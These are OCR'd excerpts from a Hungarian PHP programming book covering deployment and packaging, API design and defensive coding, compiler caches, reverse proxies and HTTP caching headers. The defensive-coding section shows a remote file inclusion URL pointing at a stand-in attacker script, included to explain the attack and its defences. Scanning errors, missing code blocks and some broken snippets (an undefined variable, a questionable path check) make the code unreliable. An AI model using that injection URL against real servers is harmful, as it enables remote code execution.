• Senki nem olvasta el a 4.0.3-as változat változásnaplóját, így magára a PHP-re nem
is gyanakodtunk.
• A fürtben többféle PHP-változat volt használatban. Egyes kiszolgálók a 4.0.l-es,
mások a 4.0.2-es vagy 4.0.3-as változatot futtatták. Nem volt központosított napló-
zás, így a véletlenszerűnek tűnő hibákat rendkívül nehéz volt összepárosítani egy
adott géppel.
Sok más problémához hasonlóan ezek a tényezők persze csak tünetei voltak a rendszer
nagyobb hibáinak. Az igazi gondot a következők jelentették:
• Nem biztosította rendszer, hogy minden üzemi gépen ugyanaz az Apache és PHP,
illetve ugyanazok a támogató könyvtárak legyenek. Ahogy egy kiszolgáló célja vál-
tozott, vagy a különböző rendszergazdák programokat telepítettek rájuk, minden
gépnek önálló egyénisége alakult ki - márpedig egy üzemi gépnek ne legyen
egyénisége.
• Bár a fejlesztési és üzemi kódot külön fában tároltuk, nem volt próbakörnyezetünk,
ahol meggyőződhettünk volna róla, hogy a futtatni kívánt kód tényleg működik az
üzemi környezetben. Persze ha az üzemi gépek azonos beállítását sem tudjuk biz-
tosítani, a próbakörnyezet hiánya elhanyagolható.
• Mivel nem követtük az egyes rendszereken a PHP-frissítéseket, nem is tudtuk ilyen-
hez kapcsolni a kód módosítása után jelentkező hibákat. Órákat vesztegettünk el ar-
ra, hogy megkeressük, a kód melyik módosítása váltotta ki a hibát. Ha naplóban (le-
hetőleg ugyanabban a változatkezelő rendszerben, ahol a forráskód is található)
rögzítettük volna azt a tényt, hogy egyes gépeken éppen az előző napon frissítettük
újabb változatra a PHP-t, a hibakeresés sokkal gyorsabb eredményt hozott volna.
Végül azonban kiderült, nem is hozhattunk volna rosszabb döntést. A PHP forráskód „ki-
javításával" azt értük el, hogy minden alkalommal, amikor frissítettük a PHP-t, újra el kel-
lett végeznünk a módosítást, és ha elfelejtettük a javítófoltot, a hitelesítési hibák rejtélyes
módon újra felbukkantak.
Hacsak nincs egy külön csapatunk, akik a használt infrastruktúra karbantartásával foglal-
koznak, kerüljük a PHP belső működését módosító változtatásokat az üzemelő webhelyen.
A PHP fájlok áthelyezésével kapcsolatban van egy aprócska gond. A PHP minden fájlt fel-
dolgoz, amit minden kérelem esetén végre kell hajtania. Ez rossz hatással van a teljesít-
ményre (amivel részletesebben a 9- fejezetben foglalkozunk), és nem teszi túl biztonsá-
gossá a fájlok módosítását egy futó PHP példányban. A probléma egyszerű. Tegyük fel
például, hogy van egy index. php nevű fájlunk, ami egy könyvtárat emel be:
# index.php
<?php
require_once "hello.inc";
hello () ;
?>
# hello.inc
<?php
function hello() {
print "Hello World\n";
}
?>
# index.php
<?php
require_once "hello.inc";
hello("George");
?>
214 PHP fejlesztés felsőfokon
# hello.inc
<?php
function hello($name) {
print "Hello $name\n";
}
?>
Ha valaki a tartalom módosítása közben kéri az index. php-t, annak feldolgozása a válto-
zás véglegesítése előtt, a hello. inc állományé viszont utána történik, ezért hibát ka-
punk, mert a másodperc törtrészéig a prototípusok nem egyeznek.
Az, amikor a tartalom azonnal frissül, még a legjobb eset. Ha maga a módosítás is több
másodpercet vagy percet vesz igénybe, a következetlenség egész idő alatt fennállhat.
A második lépés elég drasztikusnak tűnik, de szükséges, ha az oldalon megjelenő hiba nem
elfogadható. Ha ez a helyzet, valószínűleg érdemes tartalék gépfürtöt üzemeltetni, és a leál-
lást nem engedélyező összehangolást alkalmazni, amiről a 15. fejezet végén ejtünk szót.
Megjegyzés
A 9- fejezetben a fordítói gyorstárakat is tárgyaljuk, amelyek megakadályozzák a PHP fáj-
lok újbóli feldolgozását. Minden ilyen tár beépített képességekkel rendelkezik annak
megállapítására, hogy a fájlok megváltoztak-e, és szükség van-e új feldolgozásra. Ez egy-
ben azt is jelenti, hogy az include említett következetességi problémája ezeket a tárakat
is érinti.
• tar és ftp/scp
• PEAR csomagformátum
• cvs update
• rsync
• NFS
7. fejezet • A fejlesztőkörnyezet kezelése 215
Az állományok több kiszolgálóra való átvitelének másik népszerű módja, amikor NFS-en
keresztül terjesztjük azokat. Az NFS-sel kényelmesen biztosítható, hogy minden kiszolgáló
azonnal másolatot kapjon a frissített állományokból. Alacsony vagy mérsékelt forgalom
esetén ez a módszer kitűnően működik, de nagyobb terhelésnél az NFS-ben jelen levő
késleltetés gondot okozhat. Ahogy korábban már említettük, az a gond, hogy a PHP min-
den futtatandó fájlt minden végrehajtáskor feldolgoz, így a forrásfájlok olvasása jelentős
mennyiségű lemezolvasási és -írási művelettel járhat. Amikor a fájlokat NFS-en keresztül
adjuk ki, a szükséges idő és a forgalom tovább nő. A probléma minimálisra csökkenthető,
ha fordítói gyorstárat használunk.
216 PHP fejlesztés felsőfokon
Az igazi előny, ami a rendszer csomagoló rendszerének használatából ered, az, hogy
könnyen biztosítható az egyes gépeken futó programok azonossága. Korábban én is
használtam tar archívumokat binárisok terjesztésére, és rendben működtek. A gond csak
az volt, hogy könnyű volt elfelejteni, melyik tar csomagot is telepítettem. Ennél is
rosszabb volt a helyzet, ha minden gépen mindent forrásból telepítettünk. Hiába igyekez-
tünk mindent összehangolni, a gépek között apró különbségek alakultak ki, ami egy
nagyméretű környezetben elfogadhatatlan.
7. fejezet • A fejlesztőkömyezet kezelése 217
Az Apache csomagolása
Az általam használt Apache-változatok binárisai általában minden gépen szabványosak.
Szeretem, ha az Apache modulok (a mod_php-t is beleértve) megosztott objektumok,
mert az ezáltal elérhető „plug and play" szolgáltatás igen kényelmes. Emellett úgy vélem,
azok a teljesítménnyel kapcsolatos aggályok, amelyeket az Apache modulok megosztott
objektumként való használata kapcsán emlegetnek, túlzottak. Éles kódnál még soha nem
sikerült semmilyen lényeges teljesítménycsökkenést kimutatnom.
Mivel egyfajta „Apache-hacker" vagyok, gyakran teszek a csomagba néhány saját modult,
amelyek eredetileg nem képezik az Apache részét. Ilyen például a mod_backhand,
a mod_log_spread, illetve más modulok egyéni változatai. Két webkiszolgálói RPM
használatát ajánlom. Az egyik magát a mod_so-val felépített webkiszolgálót tartalmazza (a
beállító fájl kivételével), illetve a megosztott objektumként használt szabványos modulo-
kat, a másik az Apache magjával nem terjesztett egyéni modulokat. A kettő elválasztásával
egyszerűen frissíthetjük az Apache-telepítést, anélkül, hogy meg kellene keresnünk és új-
ra kellene építenünk minden nem szabványos modult. Mindezt az teszi lehetővé, hogy az
Apache Group kiváló munkát végez a változatok közötti bináris megfelelőség biztosításá-
ra. Az Apache frissítésekor általában nincs szükség a dinamikusan betölthető modulok új-
raépítésére.
Listen 1 0 . 0 . 0 . N : 8 0 0 0
Ahelyett, hogy magunk írnánk át saját kezűleg minden kiszolgáló httpd. conf állomá-
nyát, használhatunk egy állandó álnevet az /etc/hosts fájlban az ilyen címekhez. A kö-
vetkező sorral például minden gépen beállíthatunk egy externalether álnevet:
10.0.0.1 externalether
Listen externalether:8000
218 PHP fejlesztés felsőfokon
Mivel a gépek IP címének kevésbé gyakran szabad változnia, mint a webkiszolgáló beállí-
tásainak, az álnevek használatával az egész kiszolgálófürtben biztosíthatjuk a httpd. conf
állomány azonosságát.
A PHP csomagolása
A mod_php és a tőle függő könyvtárak kezelésére vonatkozó szabályok hasonlóak az
Apache szabályaihoz. Készítsünk egyetlen mesterpéldányt, ami azokat a szolgáltatásokat
és telepítési követelményeket tükrözi, amelyekre minden működtetett számítógépnek
szüksége van. Ezután csatoljunk hozzá kiegészítő csomagokat, amelyek a nem szabvá-
nyos szolgáltatásokat tartalmazzák.
extension = my_extension.so
A PHP egyik érdekes (de gyakran elfeledett) beállítási lehetősége a conf ig-dir támoga-
tása. Tegyük fel, hogy a PHP-t a conf igure --with-config-file-scan-dir kapcso-
lójával telepítjük:
A fenti beállítás esetén a PHP indításkor (a fő php .ini fájl feldolgozása után) végigpász-
tázza a megadott könyvtárat, és automatikusan (ábécésorrendben) betölt minden fájlt,
amelynek kiterjesztése . ini. Ez a gyakorlatban azt jelenti, hogy ha egy bővítményhez
szabványos beállítások tartoznak, beállítófájlt írhatunk kifejezetten e bővítmény számára,
és magához a bővítményhez csatolhatjuk, így a beállítások nem szóródnak szét.
További olvasmányok
A CVS-sel kapcsolatban további információkat a következő helyeken találhatunk:
• A CVS projekt központi webhelye, a http: / /www. cvshome. org rengeteg infor-
mációt tartalmaz a CVS használatával és fejlesztésével kapcsolatban. A CVS The
Cederqvist című elektronikus kézikönyve, amelyet megtalálhatunk a webhelyen,
kiváló bevezető.
• Moshe Bar és Kari Fogelis Open Source Development with CVS című könyve remek
tárgyalása a CVS-sel történő fejlesztésnek.
• Az RPM-mel történő csomagkészítés elsődleges forrása a Red Hat webhelyen,
a http: / /rpm. redhat. com/RPM-HOWTO címen érhető el. Ha más operációs
rendszert használunk, annak dokumentációjában érdemes utánanéznünk a natív
csomagok építésének.
• Az rsync kapcsolóit megtaláljuk az operációs rendszer megfelelő súgó-
oldalain (man). Részletesebb példák és megvalósítások az rsync honlap-
ján, a http: //samba.anu. edu. au/rsync címen találhatók.
Hogyan tervezzünk jó API-t?
Mitől lesz egy kód jó, és mitől egy másik rossz? Ha egy kód helyesen működik és nincse-
nek benne hibák, jó kód? Személyes véleményem szerint nem. Egyetlen kód sem elszige-
telt, és eredeti alkalmazásán túl is fennmarad, így a minőség megállapításánál ezeket a té-
nyezőket is figyelembe kell venni.
• Könnyű karbantartani.
• Könnyű más környezetben újrahasznosítani.
• A lehető legkevesebb külső függőséggel rendelkezik.
• Új feladatokhoz igazítható.
• Viselkedése megjósolható és biztonságos.
• újraépíthető,
• bővíthető,
• védekező.
Az alulról felfelé történő tervezésre az jellemző, hogy már a tervezés elején írunk kódot.
Azonosítjuk az alapvető alacsonyszintű elemeket, megkezdjük megvalósításukat, majd ha
elkészültek, összekötjük azokat.
Újraépíthetőség és bővíthetőség
Sok programozó számára nem magától értetődő, hogy jobb egy stabil felület egy gyengébb
megvalósítással, mint egy rosszul tervezett API jobban megírt kóddal. Tény, hogy az álta-
lunk írt kódot felhasználják majd más programokban, és saját életét kezdi élni. Ha a felületet
jól terveztük meg, a kód mindig újraépíthető, hogy javítsuk teljesítményét, de ha rosszul,
minden változtatásnál módosítanunk kell valamennyi kódot, ami a felületet használja.
Egy marylandi üzlet úgy dönt, hogy termékeit az Interneten is kínálja. A marylandi lako-
soknak helyi adót kell fizetniük a boltban vásárolt termékek után, így a programban eh-
hez hasonló kódblokkokat találunk:
Ez csak egyetlen sor, alig több karakter, mintha minden adatot egy segédfüggvénynek ad-
nánk át.
Bár az adót eredetileg csak a megrendelő oldalon tüntetjük fel, hamarosan megjelenik
a hirdetésekben és az akciós oldalakon is. Biztosan látjuk az elkerülhetetlent. Két dologra
számíthatunk:
Mindezt elkerülhetjük, ha az adó kiszámítását végző aprócska kódot egy függvénybe zár-
juk, íme egy egyszerű példa:
Ezek szerint kerülnünk kell a függvényeket? Egyáltalán nem! Donald Knuth, a számító-
géptudomány egyik atyja szerint „a korai optimalizálás minden rossz gyökere". A teljesít-
ményfokozás és -hangolás gyakran növeli a fenntartás költségeit, ezért csak akkor érde-
mes lenyelnünk ezt a költséget, ha tényleg megéri. Olyan kódot célszerű írni, ami a lehe-
tő legkönnyebben módosítható, a programlogikát osztályokba és függvényekbe kell zár-
nunk, a kód pedig legyen egyszerűen újraépíthető. Működés közben elemezzük a kód
hatékonyságát (a IV. részben leírt módszerek segítségével), és építsük újra azokat a része-
ket, amelyek elfogadhatatlanul költségesek.
Névterek használata
A névterek használata minden nagy kódban létfontosságú. Sok más parancsnyelvtől (Perl,
Python, Ruby stb.) eltérően a PHP-ben nincsenek igazi névterek, illetve formális csoma-
goló rendszer. Eme beépített eszközök hiánya még fontosabbá teszi, hogy fejlesztőként
következetes névtérhasználati szabályokat alkalmazzunk. Vegyük a következő szörnyű
kódot:
$number = $_GET['number'];
$valid = validate($number);
if($valid) {
// -----
}
Ha a kódra pillantunk, nem tudjuk megállapítani, mit is csinál. Ha az itt megjegyzésbe tett
blokkot megvizsgáljuk, alkothatunk némi fogalmat a program működéséről, de a kód
több tekintetben is homályos marad:
$cc_number = $_GET['cc_number'];
$cc_is_valid = CreditCard_IsValidCCNumber($cc_number);
if ($cc_is_valid) {
// ...
}
Ez más sokkal jobb, mint az előző. A $cc_number jelzi, hogy a szám egy hitelkártya szá-
ma (credit card, cc), a CreditCard_IsValidCCNumber () függvénynév pedig elárulja,
hol található a függvény (például CreditCard. inc) és mit csinál (meghatározza, hogy
a hitelkártyaszám érvényes-e).
226 PHP fejlesztés felsőfokon
Bár a PHP nem biztosít formális nyelvi rendszert a névterekhez, osztályok használatával
utánozhatjuk azokat, mint az alábbi példában:
class CreditCard {
static public function IsValidCCNumber()
{
// ...
}
static public function Authenticate()
{
// - . .
}
}
API_ROOT/
CreditCard.inc DB.inc
DB/
Mysql.inc
Oracle.inc
A moduláris kód és gyors kód közötti választásban fontos tényező lehet az a komoly kü-
lönbség, ami az include fájlok kezelésében mutatkozik. A PHP teljes egészében futás-
idejű nyelv, ami azt jelenti, hogy a programok fordítása és végrehajtása is fordítási időben
8. fejezet • Hogyan tervezzünk jó API-t? 227
A vélemények eltérnek abban a tekintetben, hogy legfeljebb hány fájlt célszerű beágyazni
egy adott oldalon. Egyesek szerint három a megfelelő szám (bár erre semmilyen magyará-
zatot nem adtak), mások amellett kardoskodnak, hogy minden include-dal beemelt kó-
dot be kell írnunk, mielőtt a fejlesztőkörnyezetből üzemi környezetbe helyeznénk a prog-
ramot. Véleményem szerint mindkét megközelítés hibás. Természetesen nevetséges, ha
egy oldalba állományok százait ágyazzuk be, de az a képesség, hogy a kódot fájlokba
oszthatjuk szét, a kezelhetőség szempontjából igenis fontos. A nem kezelhető kód lénye-
gében használhatatlan, az include beágyazások pedig általában nem jelentenek különö-
sebben szűk keresztmetszetet.
A csatolás csökkentése
Csatolás akkor jön létre, ha egy függvény, osztály vagy más kódegység helyes működése
egy másik hasonló egységtől függ. A csatolás rossz, mert függőségek hálóját hozza létre
olyan kódelemek között, amelyeknek önállóaknak kellene lenniük.
8.1 ábra
A Serendipity webes naplórendszer függvényhívási gráfjának részlete.
Védekező kódolás
A védekező kódolás (defenzív kódolás) a feltételezések kiirtása a kódból, különösen ha
más eljárásokból érkező vagy oda továbbított információk kezeléséről van szó.
http://gallery.example.com/view_photo.php?\
GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F
Az ilyen támadást távoli parancsbeszúrás (remote command injection) néven ismerik, mi-
vel a kiszolgálót olyan kód végrehajtásába csalogatja be, amelyet nem lenne szabad futtat-
nia. Az ellene való védekezéshez minden alkalmazásban számos biztonsági intézkedést
kell tennünk:
Ha fájlnevet kapunk, ugyanígy győződhetünk meg róla, hogy nem lépünk ki az aktuális
könyvtárból:
$filename = $_GET['filename'];
if(substr($filename, 0, 1) == ' / ' II strstr( $ f ilename, "..")) {
// rossz fájl
}
$file_name = realpath($_GET['filename' ] ) ;
$good_path = realpath( " . / " ) ;
if(!strncmp($file_name, $good_path, strlen($good_path))) {
// rossz fájl
}
Egy másik adatfertőtlenítési lépés, amit mindig el kell végeznünk, a használt RDBMS meg-
felelő függvényének vagy a mysql_escape_string () futtatása minden adaton, amit
bármilyen SQL lekérdezés kap. A távoli parancsbeszúrási támadásokhoz hasonlóan
ugyanis vannak SQL-beszúrási támadások is. A függvény automatizálásában egy olyan el-
vont réteg használata segíthet, mint a 2. fejezetben kidolgozott DB osztályoké.
További olvasmányok
Steve McConnell Code Complete című könyve kitűnő bevezető a gyakorlati szoftverfejlesz-
tésbe; egyetlen programozó könyvtára sem lehet teljes nélküle. (Ne törődjünk a Microsoft
Press címkével: a könyv nem kifejezetten Windows-programozással foglalkozik.)
Fordítói gyorstárak
Ha egyetlen kiszolgálómódosítással szeretnénk PHP alkalmazásunk teljesítményét növel-
ni, egyértelműen a fordítói gyorstár telepítése mellett érdemes döntenünk. Ezzel ugyanis
valóban nagy nyereségre tehetünk szert, ráadásul - ellentétben számos más módszerrel,
melyek az alkalmazás méretének növekedésével egyre kisebb mértékű javulást hoznak -
a fordítói gyorstárak által nyújtott előnyök együtt nőnek a mérettel és az összetettséggel.
1. A PHP beolvassa a fájlt, értelmezi, majd készít egy köztes kódot, ami végrehajtható
a Zend Engine virtuális gépen. A köztes kód számítástechnikai kifejezés, a program
forráskódjának azt a belső ábrázolását jelenti, ami a nyelvi fordítás során keletkezik.
2. A PHP végrehajtja a köztes kódot.
Láthatjuk tehát, hogy az első lépésben a programokhoz, illetve a beemelt kódokhoz ké-
szített köztes kód átmeneti tárolásától jelentős nyereséget várhatunk a teljesítménynöve-
kedés terén. A fordítói gyorstár pontosan ezt teszi.
• APC - Ingyenes, nyílt forrású fordítói gyorstár, melyet Dániel Cowgill és jómagam
írtunk.
A 23- fejezetben, ahol a PHP és a Zend Engine bővítését tárgyaljuk, az APC működésének
részleteivel is megismerkedhetünk.
Az APC fordítói gyorstár a PEAR Extension Code Library (PECL) keretén belül érhető el.
Telepítéséhez az alábbi parancsot kell kiadnunk:
9.1. ábra
Egy program végrehajtásának folyamatábrája a PHP-ben.
extension = /path/to/apc.so
Ezen felül semmiféle további beállításra nincs szükség. Ha legközelebb elindítjuk a PHP-t,
az APC már aktív lesz, és elvégzi programjaink átmeneti tárolását az osztott memóriában.
238 PHP fejlesztés felsőfokon
9.2. ábra
Program végrehajtása fordítói gyorstárral.
9. fejezet • Teljesítményfokozás külső módszerekkel 239
Nyelvi optimalizálok
A nyelvi optimalizálok a program lefordítása után kapott köztes kódszerkezetét alakítják
hatékonyabbá. A legtöbb nyelv rendelkezik optimalizáló fordítókkal, melyek az alábbiak-
hoz hasonló műveleteket végeznek:
A PHP nem rendelkezik beépített kódoptimalizálóval, de lehetőségünk van arra, hogy ezt
a feladatot bővítményekkel végezzük el:
HTTP gyorsítók
Az alkalmazások teljesítményét számos tényező befolyásolja. Első ránézésre a teljesít-
ményt az alábbiak korlátozhatják:
• az adatbázis teljesítménye,
• a CPU teljesítménye, ami számítás-, illetve műveletigényes alkalmazásoknál jelentős,
• a lemez teljesítménye, amennyiben jelentős mennyiségű bemeneti-kimeneti műve-
letre van szükség,
• a hálózat teljesítménye olyan alkalmazások esetében, amelyek jelentős hálózati
adatátvitelre szorulnak.
A 9-3. ábra a hálózat szintjén végrehajtott műveleteket mutatja be egyetlen kérelem feldol-
gozása esetén, a végrehajtáshoz szükséges időtartamokkal együtt. Mialatt a hálózati cso-
magok küldése és fogadása zajlik, a PHP alkalmazás üresjáratban vesztegel. Figyeljük
meg, hogy a 9.3- ábrán 200 ms olyan időt számolhatunk össze, amikor a PHP kiszolgáló-
nak elvileg az adatokkal kellene foglalkoznia, ehelyett azonban arra vár, hogy a hálózati
adatátvitel befejeződjön. Ez a hálózati időkiesés számos alkalmazásnál jelentősen na-
gyobb, mint a programok futtatására fordított idő.
Nos, ez nem feltétlenül tűnik komoly adattorlódási lehetőségnek, de könnyen azzá válhat.
A gondot az okozza, hogy egy üresjáratban működő webkiszolgáló is felhasznál bizonyos
erőforrásokat - memóriát, állandó adatbázis-kapcsolatokat és egy helyet a folyamatok táb-
lájában. Ha tehát sikerül kiküszöbölnünk a hálózati késleltetést, ezzel egyúttal lerövidít-
hetjük azt az időt, amit a PHP felesleges munka végzésével tölt - így persze egyúttal nö-
velhetjük az alkalmazás hatékonyságát.
9. fejezet • Teljesítményfokozás külső módszerekkel 241
9.3. ábra
Hálózati adatátvitel egy átlagos kérelem esetén.
Fordított helyettesek
Sajnálatos módon az Interneten tapasztalható hálózati késleltetés kiküszöbölése meghalad-
ja a lehetőségeinket. (Bárcsak módunkban állna elbánni vele!) Valamit azonban mégis csak
tehetünk - alkalmazhatunk egy újabb kiszolgálót a végfelhasználó és a PHP alkalmazás
között. Ez fogadja az ügyfelek kérelmeit, továbbítja őket a PHP alkalmazás felé, várakozik
a válaszra, majd azt visszaküldi a távoli felhasználónak. Ezt a helyettes kiszolgálót (köztes
kiszolgálót, „proxyt") fordított helyettesnek (reverse proxy) vagy Hl 1F gyorsítónak nevezik.
9.4. ábra
Egy jellemző fordítotthelyettes-összeállítás.
A fenti megoldások lehetővé teszik, hogy a helyettes példánya egy kijelölt gépen legyen,
vagy egyszerűen egy második kiszolgálópéldányként ugyanazon a gépen fusson. Nézzük
most meg, hogyan valósíthatjuk meg ez utóbbi esetet a mod_proxy segítségével. Ennek
legegyszerűbb módja, ha két Apache példányt fordítunk, az egyiket a mod_proxy-val (az
/opt/apache_proxy könyvtárba telepítve), a másikat a PHP-vel (az /opt/apache_php
könyvtárba telepítve).
Egy jól ismert fogást alkalmazunk annak érdekében, hogy minden gépen ugyanaz az
Apache beállítás legyen érvényes: Apache beállítási fájlunkban az externalether gép-
nevet használjuk. Ezután megfeleltetjük ezt a nevet nyilvános (külső) Ethernet felületünk-
nek az /etc/hosts könyvtárban. Hasonlóan, Apache beállítási fájlunkban a localhost
gépnevet használjuk a 127.0.0.1 visszacsatolási cím megjelenítésére.
Az Apache beállítások teljes körű megjelenítése túlzottan sok helyet venne igénybe, így
csak a httpd. conf állomány apró részletét mutatjuk be a legfontosabb beállításokkal,
némi képet adva a környezetükről is.
244 PHP fejlesztés felsőfokon
DocumentRoot /dev/null
Listen externalether:80
MaxClients 256
KeepAlive Off
AddModule mod_proxy.c
ProxyRequests On
ProxyPass / http://localhost/
ProxyPassReverse / http://localhost/
ProxylOBufferSize 131072
<Directory proxy:*>
Order Deny,Allow
Deny from all
</Directory>
A szálas modellben (threaded model) egy folyamat szálak egész halmazát használja a ké-
relmek kiszolgálására. A módszer igen hasonló az előágaztató modellhez, a különbség
annyi, hogy itt egyes erőforrások megoszthatók a szálak között. A Zeus webkiszolgáló ezt
a modellt alkalmazza. Jóllehet a PHP maga szálbiztos, nehéz vagy egyenesen lehetetlen
azt biztosítani, hogy a külső gyártók által készített bővítmények kódja szintén az legyen.
Ez azt jelenti, hogy még egy szálas webkiszolgálónál is előfordulhat, hogy nem használ-
hatunk szálas PHP-t, helyette ágaztatott folyamatvégrehajtást kell alkalmaznunk a fastcgi,
illetve a cgi megvalósításainak segítségével.
Az előző Apache kiszolgálón belül ugyan meglehetősen sok beállításra volt szükség,
a PHP-t futtató kiszolgálón ezzel szemben nem sokat kell módosítanunk az eddigiekhez
képest. Egyetlen változtatásként az alábbi sort kell beírnunk a httpd. conf fájlba:
Listen localhost:80
246 PHP fejlesztés felsőfokon
Helyettes gyorstárak
Nagyszerű dolog, ha kis késleltetésű kapcsolattal rendelkezünk, de még jobb, ha a tarta-
lomkiszolgálónak egyáltalán nem kell kérelmeket kiadnia. A HTTP segítségével ez meg-
oldható.
A 9.5. ábrán a fordított helyettes gyorstárak egy jellemző elrendezését láthatjuk. Amikor
a felhasználó kérelmet intéz a www. example. f oo címhez, a DNS keresés a helyettes ki-
szolgálóhoz irányítja. Ha a kért bejegyzés létezik a helyettes gyorstárában, és nem elavult,
az oldal tárolt másolata kerül vissza a felhasználóhoz, és a webkiszolgálónak a kisujját
sem kell megmozdítania. Egyébként a kapcsolat átkerül a webkiszolgálóhoz, hasonlóan
a fordított helyettes korábban tárgyalt esetéhez.
9.5. ábra
Kérelem egy fordított helyettesen keresztül.
Ahhoz, hogy gyorstárbarát alkalmazásokat készítsünk, alapjában véve négy HTTP fejléc-
cel kell közelebbi ismeretséget kötnünk:
• Last-Modified
• Expires
• Pragma: no-cache
• Cache-Control
9. fejezet * Teljesítményfokozás külső módszerekkel 249
Sokan olyan fejlécként tekintenek a Pragme: no-cache-re, mint amit arra használnak,
hogy meggátolják az objektumok gyorstárazását. Bár e fejléc beállítása semmilyen hát-
ránnyal nem jár, a HTTP leírása nem adja meg a pontos jelentését, így hasznosságát csak
az adja, hogy a HTTP 1.0 gyorstárak defacto szabványának számít.
A 90-es évek végén, amikor számos ügyfél még csak a HTTP 1.0-t értette, a gyorstárak be-
állításainak átadása meglehetősen korlátozott volt az alkalmazások között. Szokásos gya-
korlattá vált az alábbi fejlécek elhelyezése minden dinamikus oldalon:
function http_l_0_nocache_headers()
{
$pretty_modtime = gmdate('D, d M Y H : i : s ' ) . ' GMT';
header("Last-Modified: $pretty_modtime");
header("Expires: $pretty_modtime");
header("Pragma: no-cache");
cache-response-directive =
"public"
I "priváté"
I "no-cache"
I "no-store"
I "no-transform"
I "must-revalidate"
I "proxy-revalidate"
I "max-age" " = " delta-seconds
I "s-maxage" " = " delta-seconds
Az alábbi függvény olyan oldalak kezelésére alkalmas, melyeket minden gyorstárban újra
kell érvényesíteni:
function validate_cache_headers($my_modtime)
{
$pretty_modtime = gmdate('D, d M Y H : i : s ' , $my_modtime) . ' GMT';
if($_SERVER['IF_MODIFIED_SINCE'] == $gmt_mtime) {
header("HTTP/1.1 304 Not Modified");
exit ;
}
else {
header("Cache-Control: must-revalidate");
header("Last-Modified: $pretty_modtime");
}
}
Ha tudomásunk van arról, hogy egy oldal érvényes lesz bizonyos ideig, és nem különö-
sebben izgat, ha hirtelen elavulttá válik, kikapcsolhatjuk a must-revalidate fejlécet, és
beállíthatunk egy meghatározott Expires értéket. Fontos tudatában lennünk annak,
252 PHP fejlesztés felsőfokon
Vegyünk például egy olyan híroldalt, mint a CNN-é. Még a legfrissebb hírek érkezésénél
sem okoz gondot, ha a nyitólap frissítése egy percet késik. Ha ennek megfelelően szeret-
nénk beállítani a gyorstárakat, többféle módszert is alkalmazhatunk.
Amennyiben lehetővé szeretnénk tenni, hogy a megosztott helyettesek egy percig tárolják
oldalunkat, hívhatunk egy, az alábbihoz hasonló függvényt:
function cache_novalidate($interval = 6 0 )
{
$now = time();
$pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT';
$pretty_extime = gmdatef'D, d M Y H : i : s ' , $now + $interval) . ' GMT';
// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára
header("Last Modified: $pretty_lmtime");
header("Expires: $pretty_extime");
// HTTP/1.1-támogatás
header("Cache-Control: public,max-age=$interval");
}
Ha azonban olyan oldalról van szó, ami némileg testreszabott (mondjuk egy nyitólapról,
ami helyi híreket is tartalmaz), azt is beállíthatjuk, hogy a másolatot csak a böngésző tárolja:
function cache_browser($interval = 6 0 )
{
$now = time();
$pretty_lmtime = gmdate('D, d M Y H : i : s ' , $now) . ' GMT';
$pretty_extime = gmdate('D, d M Y H : i : s ' , $now + $interval) . ' GMT';
// visszirányú megfelelőség a HTTP/1.0 ügyfelek számára
header("Last Modified: $pretty_lmtime");
header("Expires: $pretty_extime");
// HTTP/1.1-támogatás
header("Cache-Control: priváté,max-age=$interval,s-maxage=0");
}
header("Pragma: no-cache");
// HTTP/1.1-támogatás
header("Cache-Control: no-cache,no-store,max-age=0,s-rnaxage=0,
'■- must-revalidate") ;
}
Tartalomtömörítés
A HTTP 1.0-ban megjelent a tartalom kódolásának lehetősége - ez lehetővé teszi az ügy-
felek számára, hogy jelezzék a kiszolgálók felé: képesek fogadni bizonyos módokon kó-
dolt tartalmat. A tartalom tömörítésével kisebb mérethez jutunk, aminek két alapvető kö-
vetkezménye van:
Content-Encoding: gzip,deflate
zlib.output_compression On
E módszer egyetlen hátránya, hogy a tömörítés ilyenkor csak a PHP kimenetére hat.
Amennyiben kiszolgálónk csak PHP-vel előállított oldalakat szolgáltat, semmi gond nincs.
Ha azonban más a helyzet, érdemes egy másik gyártó által készített Apache-modult hasz-
nálnunk a tömörítéshez. (Ez lehet például a mod_def laté vagy a mod_gzip.)
További olvasmányok
Fejezetünkben számos új módszert mutattunk be, melyek közül sok bővebb tárgyalást is
megérdemelne. Az alábbiakban az érdeklődők számára szolgálunk némi útmutatással az
elérhető irodalom terén.
RFC-k
Mindig jó érzés a tudáshoz első kézből hozzájutni. Nos, az Interneten használt protokol-
lok leírásánál az „első kéz" szerepét az RFC-k játsszák, melyeket az IETF gondoz. Az RFC
26l6-ban megismerkedhetünk a HTTP 1. l-ben megjelent fejlécekkel, továbbá tájékozta-
tást kaphatunk a különböző utasítások (direktívák) használatának alakjáról és értelméről.
Az RFC-k számos helyről letölthetők a weben, jómagam az IETF RFC tárolóját részesítem
előnyben, melyet a www. iet f . org/rf c . html címen érhetünk el.
Fordítói gyorstárak
A fordítói gyorstárak működéséről részletesebben a 21. és 24. fejezetekben olvashatunk.
Nick Lindridge, az ionCube gyorsító szülőatyja készített egy nagyszerű leírást gyermeke
működéséről, melyet a www.php-accelerator. co.uk/PHPA_Article.pdf címen ta-
lálhatunk meg.
9. fejezet * Teljesítményfokozás külső módszerekkel 2S5
Helyettes gyorstárak
A Squid-et a www. squid-cache . org címen találhatjuk meg, ahol egyúttal számos
nagyszerű forrást találhatunk a beállítási lehetőségekről és a használat módjairól.
Egy jól sikerült írást is olvashatunk a Squid használatáról HTTP gyorsítóként ViSolve-tól
a http://squid.visolve.com/white_papers/reverseproxy.htm címen.
A Squid fordított helyettes kiszolgáló szerepben nyújtott teljesítményének növeléséről
a http: //squid. sourceforg.net/rproxy címen tájékozódhatunk.
Tartalomtömörítés
A mod_def laté modul az Apache 1.3.x változatához elérhető a következő címen:
http: //sysoev.ru/mod_def laté. Fontos megjegyezni, hogy ennek semmi köze az
Apache 2.0 mod_def laté moduljához. A mod_accel leírásához hasonlóan e projekt le-
írása is szinte teljes egészében orosz nyelvű.
A gyorstárak használata gyakorlatilag azt jelenti, hogy egyes adatokat félreteszünk későb-
bi használatra. E módszerrel gyakran használt adatokat tárolhatunk, melyeket aztán gyor-
sabban érhetünk el, mint egyébként. A gyorstárak használatára könnyű jó példákat találni
mind a számítástechnikán belül, mind az élet más területein.
Nem kell sokat töprengenünk - vegyük csak a telefonszámok kezelésének esetét. A tele-
fontársaság rendszeresen küld telefonkönyveket előfizetőinek. Ezek rendszerint ormótla-
nok, és a telefonszámok az előfizetők neveinek ábécésorrendje szerint rendezettek, soká-
